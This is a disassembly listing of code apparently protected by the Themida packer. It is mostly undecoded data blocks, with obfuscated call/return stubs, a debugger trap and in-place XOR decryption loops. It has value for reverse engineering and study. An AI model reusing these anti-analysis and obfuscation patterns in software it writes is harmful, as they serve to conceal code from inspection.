dd 8C66F906h, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0E4914A1Dh, 21F99D09h, 0E1800612h
dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 1002EE54h, 781BC8EAh, 0AFB8B85h, 0F840FC9h
dd 0BF000001h, 2F1EBA7h, 24CD858Bh, 0BD8B0612h, 6123241h
dd 248D8533h, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 9AE530C3h, 977946CAh, 901507DBh
dd 6E9h, 0E4D8D700h, 5078EE2Ah, 8190DA8Bh, 5288BBC3h, 0F1DF8127h
dd 6A0970A9h, 0ED68F900h, 0E8232267h, 0Ah, 0B6AE793Fh
dd 0E05C2BF2h, 10E9D8F4h, 9A000000h, 2A8202E0h, 0A4C0589Ch
dd 0F572797Bh, 5F5491DAh, 12243481h, 0F233D64h, 1989h
dd 14E900h, 0EDD60000h, 0B47740A3h, 0F2C0167Eh, 0E29208C5h
dd 0BA2EE2B5h, 95FF5088h, 6123031h, 0B1B52960h, 6106121Ch
dd 0BD0C8589h, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 0D24101C3h, 0BE322908h, 0E9CDA0E3h
dd 1EEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 69C35242h, 0CCDC2D2Bh, 23B35497h, 858BF8F8h, 615BD04h
dd 1800C7h, 9D890000h, 612238Dh, 0BD08B58Bh, 6A0615h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 8B9C2BC3h, 2D2DA2EBh, 0DAD5E381h, 13E96718h, 0C8000000h
dd 24F8523Fh, 3BF74600h, 0B68F13BAh, 46AA7FE1h, 858BC259h
dd 6122399h, 12E860h, 5AC70000h, 29E6689Ch, 0FA1ABA90h
dd 0FF1CE034h, 83B1F70Ch, 5BDAB70Fh, 0DE9h, 20F9E600h
dd 3A095FF1h, 9B86277Bh, 8961477Ch, 0C860F06h, 0F000000h
dd 68Dh, 2D9D8B00h, 8B061200h, 1224CD85h, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 527A099Fh, 50C52A25h, 2999D01h, 895B0612h, 6A0446h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 6591CDC3h, 2E28B5B0h, 0CD0BF66h, 0CF4BB96h, 96507CA5h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0FAC35343h
dd 6890F60h, 89000000h, 121DF985h, 0B5FF6106h, 615BD04h
dd 0CE8h, 16264200h, 6C73F678h, 0DE6625E6h, 5BFD8A7Ah
dd 4E8h, 1F03FF00h, 7EBB6600h, 0BF665066h, 448BBFD9h, 8B0424h
dd 6412BCBBh, 24448924h, 6A5804h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 5D764C3h, 73E3BFC1h
dd 859589ABh, 8D06121Eh, 15BD0C85h, 5075B706h, 6A240489h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 29E5C355h, 122DA995h, 3195FF06h, 80061230h
dd 6A61DBC3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 0C8C2C352h, 8E99463h, 3B000000h
dd 6EB95786h, 0C7326C5Fh, 12001185h, 306h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 8643DE21h, 87A6D7AFh, 0B58B60A4h, 6121E05h, 0CBD8361h
dd 615BDh, 3E840Fh, 0BD8B0000h, 6123099h, 4EE9h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 4F30E161h, 958B60F4h, 61215EDh, 23BDB58Bh, 66610612h
dd 3EE5CB81h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0BBCBC357h, 0D63B535Fh, 868F6331h
dd 19C59D8Bh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 4BD645C3h, 25E1B589h, 0BD830612h
dd 6120011h, 3A850F03h, 6A000004h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 3FEAC353h
dd 9589D484h, 6121371h, 0BD0CBD83h, 0F000615h, 40884h
dd 11E900h, 80770000h, 998FFC62h, 90989B62h, 8FE5BFB3h
dd 0FF6732E8h, 15BD0CB5h, 0C3816606h, 95FF46FEh, 6122029h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FBC35545h
dd 0BD036082h, 6121451h, 0DE9h, 0DFB7C900h, 0EFB6954Dh
dd 30E2EF9Ch, 8B61A746h, 121AF59Dh, 0B58B06h, 0C70615BDh
dd 1000106h, 89958900h, 9606121Bh, 4ABB66h, 0BF665750h
dd 965F52E2h, 6CF3DBBh, 0CB5FF48h, 660615BDh, 0A396EF81h
dd 1AE195FFh, 13E80612h, 4E000000h, 119566EAh, 1A391AD3h
dd 1173B1C7h, 0AF7DFA1h, 9D33D6CBh, 61223C5h, 759D8B5Fh
dd 8B061202h, 15BD00B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 8195890Dh, 8B06120Ch
dd 12303985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 8B66511Bh, 0C4C6BFD9h, 86897642h
dd 0C4h, 0D7CF8166h, 0CD958BC4h, 8906122Dh, 122FC5B5h
dd 4C28306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 14C35545h, 0B00EFDD2h, 3447824h, 1214619Dh, 0AE906h
dd 67BF0000h, 0D912563h, 200000Eh, 6A205089h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0BA74C357h, 4D0888BFh, 6D9D8B71h, 8D06122Dh, 15D0EA85h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 0B874C138h, 19BD290Fh
dd 89061227h, 0B886h, 0C8B0F00h, 0E9000000h, 7, 0D60AD89Dh
dd 6AE2EAA2h, 0B5FFFC00h, 615BD0Ch, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 18C35242h, 0BC9F0F89h, 95FF3273h
dd 6122CD5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 4FC35545h, 438F46C8h, 9D8BCDC1h, 61226CDh, 3055BD89h
dd 0BB960612h, 61C1D8BCh, 9E850h, 17F60000h, 0C0B43181h
dd 0BB731960h, 65FEAABEh, 6A965Fh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 72FDAEC3h, 9D8930B1h
dd 61228E5h, 0BD0CB5FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 4F3B0AC3h, 3ED7CC9h
dd 120F159Dh, 2995FF06h, 8906122Eh, 1215E5BDh, 89BD8306h
dd 61211h, 32840Fh, 0F98B0000h, 79BB6696h, 0BF665041h
dd 6A9614C0h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0E51FC353h, 0F928F2Fh, 411DECAEh
dd 0BD0CB5FFh, 8D890615h, 6122685h, 2AA595FFh, 6A0612h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0BD6D83C3h, 324C73D6h, 668B5FA3h, 0FF7E5BBh, 386h, 0FABF0F00h
dd 0BD0CB5FFh, 84BB0615h, 570DD0B4h, 0EDDB589h, 0FF5B0612h
dd 121BB195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0A3E6C2A9h, 77A139F3h, 83F90DDFh
dd 122A41BDh, 840F0206h, 5Fh, 60D28060h, 3E59D8Bh, 8B610612h
dd 1218A985h, 1E8A0F06h, 0E8000000h, 12h, 0ED62431Ah, 0C39C23B7h
dd 0AD23D6ADh, 9A542036h, 8D89E243h, 61231EDh, 0C65Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 79C35343h
dd 56E24DDAh, 668B0B3Bh, 0C75759BBh, 12030185h, 6, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 9E822E7Ah, 0C4C75C7h, 0F2FCE9F8h, 8529FFFFh, 6120029h
dd 8D31C18Bh, 6122C89h, 65858Dh, 6A0612h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 5E885C3h
dd 0BA000000h, 0E034FA1Ah, 0B92915BFh, 0F505B5Ch, 1087h
dd 0BE900h, 0BD0D0000h, 0CEAF47B6h, 0B6773258h, 24048919h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0CC35242h
dd 0BCF381DDh, 8B208103h, 1207BDBDh, 0F006A06h, 6AFFB7h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 18C35242h
dd 7D42EC05h, 0FE9h, 73E43F00h, 0C509705Ah, 2056195Dh
dd 0A0C361B4h, 7751858Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 163F6CC3h, 12E997D7h
dd 41000000h, 24A33116h, 7A88948Dh, 2D466CBh, 4216E0EEh
dd 91BD8B0Fh, 83061210h, 0BE805C0h, 38000000h, 5BD92F9Fh
dd 3340FF40h, 95895C19h, 6122831h, 0BB66505Bh, 489FFDFh
dd 619D8B24h, 306121Dh, 122E9D9Dh, 6A006A06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0B651C351h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 89CC0EC3h, 5D6B2A6Bh, 19890FAFh
dd 0E8000000h, 13h, 58952760h, 96C05AE3h, 50DE9CB0h, 887D86B1h
dd 5B3149CDh, 0B5595FFh, 8E90612h, 52000000h, 28448C54h
dd 8DC2A3E7h, 159BCA8Dh, 9D316006h, 6120309h, 2D8DB58Bh
dd 0FF610612h, 53006AD1h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 134C6230h, 0EF816679h
dd 0BD832476h, 6120EE9h, 0E0850F01h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 30A0C352h, 43A2D974h, 60D4532Ah, 2F458589h, 858B0612h
dd 6120B2Dh, 1870F61h, 0F5000000h, 6A026Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 812326C3h
dd 0D65D26E7h, 0FE8B5040h, 6A240489h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0E0B6C350h
dd 0E8E4738Eh, 12h, 0A9D0DD9Bh, 467D8C7Bh, 14CF82Ah, 7EE82B4Eh
dd 9D8B69E2h, 61200A5h, 6E95Fh, 811F0000h, 8FEA4169h, 12E9h
dd 3BA72F00h, 9D4D570Ah, 9ED98809h, 0E2D7FB2Ch, 0FFE26888h
dd 122CD595h, 11E906h, 0A5380000h, 8A7A110Ah, 3A6CC78Fh
dd 7F52E440h, 0E9B7E095h, 0D93h, 0E8h, 0ED815D00h, 616775Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E9C35242h
dd 0C212715Fh, 0F7816601h, 6A4747h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0C02A3EC3h
dd 0A0F966C6h, 0BD8B4B03h, 6122EFDh, 968F858Dh, 6A0615h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 65EE01C3h, 3591FD87h, 0F319D29h, 66500612h, 489DF8Bh
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 8AE17BECh, 0DE831E44h, 8E84Dh, 0EF210000h
dd 0CCE1E511h, 9D8B9D6Ah, 61218C5h, 35FF645Fh, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5C330B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C330B proc near ; CODE XREF: Themida_:005C3303p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5C330B endp
; ---------------------------------------------------------------------------
cmp al, 0C0h
cwde
mov edi, 53D65D30h
ror byte ptr [ecx], 66h
mov edi, 8964FBABh
and eax, 0
mov bl, 5Fh
inc dword ptr [ebp+6121235h]
push 0
push ebp
call sub_5C3343
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3343 proc near ; CODE XREF: Themida_:005C333Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5C3343 endp
; ---------------------------------------------------------------------------
db 0CEh
; ---------------------------------------------------------------------------
popf
or al, 8Dh
mov [edi], gs
int 3 ; Trap to Debugger
mov ebx, edi
push 0FFFFFFFFh
jmp loc_5C336D
; ---------------------------------------------------------------------------
db 0DFh
dd 0D83D59ABh, 12A469AAh
; ---------------------------------------------------------------------------
push edi
loc_5C336D: ; CODE XREF: Themida_:005C335Ej
push dword ptr [ebp+6120C89h]
push 0
push ebx
call sub_5C337E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C337E proc near ; CODE XREF: Themida_:005C3376p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5C337E endp
; ---------------------------------------------------------------------------
dw 0F3E8h
dd 0F381666Ch, 0BB663D3Ah, 0BF0F4BBDh, 7595FFDEh, 0E9061214h
dd 106h, 3890Fh, 0BF0F0000h, 8B00B0DAh, 1214799Dh, 6670E606h
dd 0E40850BFh, 9D9D8971h, 3C061223h, 0DF830F61h, 8B000000h
dd 121CDD9Dh, 0C59D8906h, 0F06120Eh, 0BD8BC8B6h, 612149Dh
dd 6BAh, 8BDE8B00h, 0E1C5BFC1h, 0E8C167A6h, 0F99D8B04h
dd 66061232h, 0BD8BE2F7h, 6122015h, 880FC82Bh, 17h, 12E9h
dd 459CCD00h, 43A03940h, 7D0C6DA0h, 65BCD9C6h, 8B33B7FDh
dd 0FFC60D1h, 282h, 61616000h, 0CE9h, 6810F00h, 89000000h
dd 12283DBDh, 7D858B06h, 83061228h, 0C08307C0h, 8D016000h
dd 6122ACDh, 13E18D29h, 3B610612h, 19830FD0h, 0BF000000h
dd 3E71DD8Bh, 41E9h, 0AE900h, 0EA9A0000h, 0C0419F8Ah, 30954F37h
dd 2ED98D8Bh, 0E1830612h, 23840F01h, 57000000h, 0B399501h
dd 835F0612h, 122ED9A5h, 8B66FE06h, 7D9589D8h, 31061228h
dd 120B6195h, 0E906h, 0B58D0000h, 6160251h, 4D78166h, 31006AC4h
dd 122CBD95h, 95BD8B06h, 0FF06122Ah, 1229D195h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 23F3CDBAh, 692CD4B8h, 6E9B706h, 5F000000h, 2C63A019h
dd 7CEB9CEh, 8B660000h, 0FCE183F8h, 0EDB589h, 80FC0612h
dd 0B8A0CFh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 9825C356h, 0BACC00EAh
dd 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5C3547
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3547 proc near ; CODE XREF: Themida_:005C353Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5C3547 endp
; ---------------------------------------------------------------------------
add edi, esp
fidiv word ptr [eax-1C3255ACh]
stc
sti
mov [ebp+61217D5h], eax
mov ebx, [ebp+61207D5h]
loc_5C356D: ; CODE XREF: Themida_:005C3577j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5C356D
push 0
push ecx
call sub_5C3584
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3584 proc near ; CODE XREF: Themida_:005C357Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5C3584 endp
; ---------------------------------------------------------------------------
dd 69E46D48h, 8B60F72Eh, 1200F1BDh, 0EE806h, 0CBB60000h
dd 990EEF2h, 55251F25h, 0B907AFB6h, 13319589h, 61590612h
dd 0BE997B7h, 48000000h, 31DCE0F4h, 0D33F409h, 880DFD88h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 4BEDC350h, 8B6ABF72h, 12345D9Dh
dd 0CD958B06h, 6A06122Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 8C3C353h, 0B654AC30h
dd 8D8BD98Bh, 61231BDh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 9BC35040h, 8B92CE09h, 0FC12BFD8h, 8B501933h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 4CC35141h, 66F5F55Bh
dd 0BD83FB8Bh, 6121419h, 8B840F00h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 446C357h, 900E1D33h, 2B09BD8Bh, 0B8FC0612h, 0
; ---------------------------------------------------------------------------
mov ebx, [ebp+61217C5h]
lea ecx, [ebp+6124E4Bh]
push 0
push eax
call sub_5C36D3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C36D3 proc near ; CODE XREF: Themida_:005C36CBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5C36D3 endp
; ---------------------------------------------------------------------------
or byte ptr [ecx+12077995h], 6
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5C36F7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C36F7 proc near ; CODE XREF: Themida_:005C36EFp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
loc_5C3705: ; CODE XREF: Themida_:005C3757j
push ebx
retn
sub_5C36F7 endp
; ---------------------------------------------------------------------------
lahf
popa
mov ah, 0B0h
push 0FFFFFF8Bh
mov ebp, 6121885h
push edx
mov ebx, [ebp+61214EDh]
pop edi
cmp dword ptr [ebp+6120011h], 0
jz loc_5C3B86
mov bx, 505Eh
cmp dword ptr [ebp+6120011h], 1
jz loc_5C3BA1
push 0
push eax
call sub_5C3743
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3743 proc near ; CODE XREF: Themida_:005C373Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5C3743 endp
; ---------------------------------------------------------------------------
aaa
aad 11h
xchg eax, ebx
loop loc_5C3705
db 2Eh
sbb al, 0CDh
cmp dword ptr [ebp+6120011h], 3
jbe loc_5C3B6B
jnp loc_5C3775
mov edi, [ebp+6120061h]
loc_5C3775: ; CODE XREF: Themida_:005C3769j
pusha
push 0
push esi
call sub_5C3781
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3781 proc near ; CODE XREF: Themida_:005C3779p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5C3781 endp
; ---------------------------------------------------------------------------
db 61h, 0E4h, 6Dh
; ---------------------------------------------------------------------------
enter 0FFFF8C66h, 0D9h
push 0
push ebp
call sub_5C37A3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C37A3 proc near ; CODE XREF: Themida_:005C379Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5C37A3 endp
; ---------------------------------------------------------------------------
db 42h
dd 98B5205Dh, 297D9D31h, 0E1800612h, 0F5958904h, 0E806121Ah
dd 11h, 70B8FF28h, 8D329E87h, 7D5C16E2h, 3B1A0516h, 6800F3Fh
dd 89000000h, 12000985h, 0C90A5F06h, 13A840Fh, 840F0000h
dd 6, 29B98D89h, 858B0612h, 61224CDh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 6BC35545h, 7FEFAFEEh, 0DE30EAA8h
dd 8D85331Ch, 81061224h, 0D789D0D7h, 0FA8B902Ch, 4810F50h
dd 66000000h, 901349BFh, 0EE9h, 0EEABDE00h, 19ED44EFh
dd 572F3DC6h, 6A0F9A18h, 3800F00h, 66000000h, 0AB68DE8Bh
dd 0E8BA6704h, 0Eh, 0F4917A8Eh, 0A7853A9Bh, 6D9920D1h
dd 8B0FAE6Bh, 3, 5BFE8B66h, 54240481h, 8B45B7FFh, 122DEDBDh
dd 3195FF06h, 6A061230h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 0E747C351h, 0F5462A8h
dd 68Ch, 0FEEF8100h, 89737521h, 15BD0C85h, 55006A06h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0F8D7217Bh, 12E873h, 0B7A00000h, 0B01C437Ch, 5A5DCC62h
dd 21991CBAh, 0BD592B05h, 25E95FF9h, 6A000002h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0B318C353h, 0BF714E27h, 21346F73h, 0BD04858Bh, 6A0615h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0F81F01C3h, 0C7F6B3h, 18h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 57C35646h, 14D7ED82h, 1D5EB118h
dd 15BD8B8Bh, 8006121Eh, 0B58BA5C3h, 615BD08h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 51C35545h, 0FD232689h
dd 0DE8BD515h, 2399858Bh, 9D010612h, 6121FF5h, 6A0689h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 2BD1C0C3h, 8BF1B1B5h, 1224CD85h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 9CE86986h
dd 9D8BB496h, 6122755h, 6A044689h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0E0E6C351h
dd 8D89559Eh, 61227C5h, 502AEB80h, 6A243489h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 5040C350h, 596D0723h, 25BF66DFh, 4B5FFEBh, 6A0615BDh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0FD23C355h, 0E99D8915h, 68061207h, 0C659BD6Dh
dd 8B0Fh, 4810000h, 0C5469224h, 8DF98B39h, 15BD0C85h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 0E582AA6h, 4D7100A5h, 0E1BD2307h, 50061202h, 489F98Ah
dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 12E92E12h, 0FC000000h, 0ABA57B70h, 22AD77CFh
dd 1CF4D400h, 90230BB3h, 3195FF14h, 6A061230h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 5A6CC351h, 0E8A0F61h, 0E9000000h, 9, 44754F17h, 3D2493B3h
dd 1185C7F5h, 3061200h, 89000000h, 12286DBDh, 0CBD8306h
dd 615BDh, 0D840Fh, 81660000h, 0E9DA98CBh, 1Eh
; ---------------------------------------------------------------------------
movsx edi, cx
loc_5C3B6B: ; CODE XREF: Themida_:005C3763j
; Themida_:005C3B82j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5C3B6B
jmp short loc_5C3BBC
; ---------------------------------------------------------------------------
loc_5C3B86: ; CODE XREF: Themida_:005C3721j
; Themida_:005C3B9Dj
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5C3B86
jmp short loc_5C3BBC
; ---------------------------------------------------------------------------
loc_5C3BA1: ; CODE XREF: Themida_:005C3732j
; Themida_:005C3BB8j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5C3BA1
jmp short $+2
loc_5C3BBC: ; CODE XREF: Themida_:005C3B84j
; Themida_:005C3B9Fj
mov eax, eax
mov [ebp+6120885h], eax
push 0
push ebx
call sub_5C3BCF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3BCF proc near ; CODE XREF: Themida_:005C3BC7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5C3BCF endp
; ---------------------------------------------------------------------------
db 0FFh
dd 0ECBFE44Bh, 0B9B7D35Ch, 6E88Eh, 4A520000h, 855D9970h
dd 11BD835Fh, 3061200h, 3AE850Fh, 800F0000h, 0Ch, 6840Fh
dd 9D8B0000h, 6121BA9h, 0BD0CBD83h, 0F000615h, 38F84h
dd 0B5FFF500h, 615BD0Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 16C35747h, 352B51E2h, 202995FFh, 6A0612h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0B58BC5C3h, 615BD00h, 6C7F88Bh, 10001h, 0AE8h, 48D4B400h
dd 0DDF7A882h, 89311894h, 12143D9Dh, 50965F06h, 0EBB3BF66h
dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0CB5FF7Fh, 6A0615BDh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 7C4FC357h
dd 0E19D8B3Bh, 0FF06122Ah, 121AE195h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 9D0BC797h, 6121EDDh, 0BD00B58Bh, 8E90615h, 84000000h
dd 0F38A16F8h, 8B1D4676h, 12303985h, 75BD8906h, 89061217h
dd 0C486h, 0BE800h, 0AAE90000h, 0FF9CDF80h, 0DED8818Ch
dd 0A5B58934h, 5B061213h, 2DCD958Bh, 8F0F0612h, 5, 54DB8166h
dd 4C2836Ah, 61606057h, 820Fh, 5F610000h, 8D205089h, 15D0EA85h
dd 0ADBD8906h, 8906122Fh, 0B886h, 0D3B7BB00h, 6A2096h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C35747h
dd 8546AE49h, 0C19D8B3Bh, 0FF06121Ch, 15BD0CB5h, 0E5BD8B06h
dd 0FF061218h, 122CD595h, 35B58906h, 50061207h, 320397BBh
dd 24348928h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 7CC35747h, 79723574h, 0D1BDB1Bh, 14F1BD8Bh, 0B5FF0612h
dd 615BD0Ch, 1D918D01h, 95FF0612h, 6122E29h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 1CC35040h, 0E9140062h
dd 0Fh, 0EB885BE1h, 0F770C889h, 7C69335h, 8318A5D6h, 121189BDh
dd 840F0006h, 49h, 68C0Fh, 9D090000h, 6122895h, 8830F50h
dd 60000000h, 66C68B66h, 8961F18Bh, 6A2434h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 63A767C3h
dd 42B4EBE5h, 89975975h, 1207698Dh, 0CB5FF06h, 6A0615BDh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 2282C350h, 0E2A04CFh, 0AE9E7h, 31BC0000h
dd 6212D169h, 0A73FC3E6h, 2AA595FFh, 6A0612h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B6D0BC3h
dd 1207699Dh, 0FEBF6606h, 0CB5FF48h, 8B0615BDh, 1203B1BDh
dd 9D8B5006h, 61227E5h, 0B195FF5Fh, 0BF06121Bh, 58BDC357h
dd 860Fh, 0BD830000h, 6122A41h, 52840F02h, 0FC000000h
